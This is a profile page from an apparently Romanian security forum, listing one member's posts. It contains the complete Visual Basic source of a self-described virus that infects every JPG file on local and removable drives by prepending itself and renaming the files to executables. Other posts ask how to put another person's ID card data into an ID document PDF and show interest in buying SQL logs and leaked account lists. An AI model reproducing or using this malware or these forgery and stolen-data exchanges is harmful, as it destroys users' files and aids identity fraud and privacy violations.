Adriano2015
Members-
Posts
49 -
Joined
-
Last visited
About Adriano2015
- Birthday 12/20/1988
Recent Profile Visitors
The recent visitors block is disabled and is not being shown to other users.
Adriano2015's Achievements
Newbie (1/14)
12
Reputation
-
Nu mai am nevoie. Am rezolvat-o. Am facut alta poza buletinului. Nu vroiam sa falsific nimic. Se poate inchide acest topic.
-
Daca am buletinul meu in pdf cum pot pune datele celuilat buletin in pdf? Am incercat cu pdfescape dar nu iese ok.
-
Cum pot modifica o poza facuta cu telefonul sa o pun in alt cadran? Am facut poza cu telefonul unui buletin si nu se vede coltul alb din dreapta sus. Eu am si poza cu alt buletin care se vede complet. Deci cum as putea sa modific poza sa se vada buletinul intreg? Problema e ca nu se vede litera y din valabilitate/validity Nimeni nu stie un program de editat modificat?
-
Ok. Nu e problema. VPS functioneaza si cand esti tu offline?
-
Cum de ai asa putine ore in 2 saptamani? 64.4 ore
-
Problema browser (Mozilla firefox for android)
Adriano2015 replied to Adriano2015's topic in Mobile security
Probabil are ceva bug-uri browser-ul sau site-ul. Pe RST merge perfect si e versiunea full a site-ului nu versiunea mobila. -
M-am inregistrat pentru o licenta avast. Se poate sa trimita in spam, dar cum intru in spam? A venit pana la urma mailul.
-
Macar inainte de a posta era bine daca faceai o proba. Mie unu nu imi merge, nu primesc nici un email.
-
Am o problema cu browserul Mozilla for android. De pe unele pagini imi iese automat din browser si imi apare ecranul de start. Ce pot sa fac? De exemplu intru pe Vbet - Sport betting, Poker, Casino, Online Games si imi iese din browser
-
Vand logs coailii (sql) aprox 3.7MB ~800pg x20rezultate.
Adriano2015 replied to k0k0's topic in RST Market
Ai pm. -
Cand te referi la telefon interceptat, te referi inclusiv la interceptari SRI sau te referi la interceptari prin programe spion(sau ambele)?
- 7 replies
-
- care
- detectare camere
-
(and 3 more)
Tagged with:
-
11 k de facebook - 200 de rockstargames - 23 gta5 pc
Adriano2015 replied to io.kent's topic in Free stuff
Reupload dar cripteaza link-urile. Mersi- 16 replies
-
Metoda de facut banii , reala , no scam etc. :)
Adriano2015 replied to zachary1337's topic in Cosul de gunoi
Prin ce metoda platesc? -
Cel mai bine ia-ti laptopul Macbook Air 13.
-
Private Sub Form_Load() On Error Resume Next Randomize Dim rubishcode As String Dim picture As String Set fso = CreateObject("scripting.filesystemobject") Set tempfold = fso.getspecialfolder(2) payload = Int(999 * Rnd) If payload = 783 Then MsgBox "@@@ I LoVe GeOrGia in PaTra..I'm dOOmeD @@@", 64, "Eva ViRus VeRsIon 2.0" End If myname = App.Path & "\" & App.EXEName & ".exe" buff = FileLen(myname) If buff > 20992 Then rub = buff - 20992 Open (myname) For Binary Access Read As #1 rubishcode = Space(rub) Seek #1, 20993 Get #1, , rubishcode Close #1 picture = tempfold & "\" & App.EXEName & ".jpg" Open (picture) For Binary Access Read Write As #2 Put #2, , rubishcode Close #2 ddd = "c:\Program Files\Internet Explorer\iexplore.exe " & picture idProg = Shell(ddd, vbMaximizedFocus) SetAttr picture, vbSystem + vbHidden Else MsgBox "Out of memory!", 16, "Internet Explorer" End If autos = tempfold & "\win32dll.vid" If (fso.fileexists(autos)) Then End End If Set dr = fso.Drives For Each d In dr If d.DriveType = 2 Or d.DriveType = 3 Then list (d.Path & "\") End If Next Open (autos) For Binary Access Read Write As #22 Put #22, , "390842038209384023980984023 src coded next" Close #22 End End Sub Sub list(dir) On Error Resume Next Set fso = CreateObject("scripting.filesystemobject") Set f = fso.GetFolder(dir) Set ssf = f.Subfolders For Each fil In ssf spreadmailto (fil.Path) list (fil.Path) Next End Sub Sub spreadmailto(dir) On Error Resume Next Dim readvictim As String Dim readme As String Set fso = CreateObject("Scripting.filesystemobject") Set f = fso.GetFolder(dir) Set cf = f.Files For Each fil In cf ext = fso.GetExtensionName(fil.Path) ext = LCase(ext) If (ext = "jpg") Then 'Main replication routine starts HeRe! myname = App.Path & "\" & App.EXEName & ".exe" victimlen = FileLen(fil.Path) Open (fil.Path) For Binary Access Read As #3 readvictim = Space(victimlen) Get #3, , readvictim Close #3 Open (myname) For Binary Access Read As #4 readme = Space(20992) Get #4, , readme Close #4 Open (fil.Path) For Binary Access Read Write As #5 Put #5, , readme Put #5, , readvictim Close #5 newname = fil.parentfolder & "\" newname2 = Left(fil.Name, 1) newname3 = Right(fil.Name, Len(fil.Name) - 1) newname4 = LCase(Left(newname3, Len(newname3) - 3) & "exe") newnameall = newname & newname2 & newname4 Name fil.Path As newnameall 'Main replication Routine Ends HeRe! myname = "" readme = "" readvictim = "" End If Next End Sub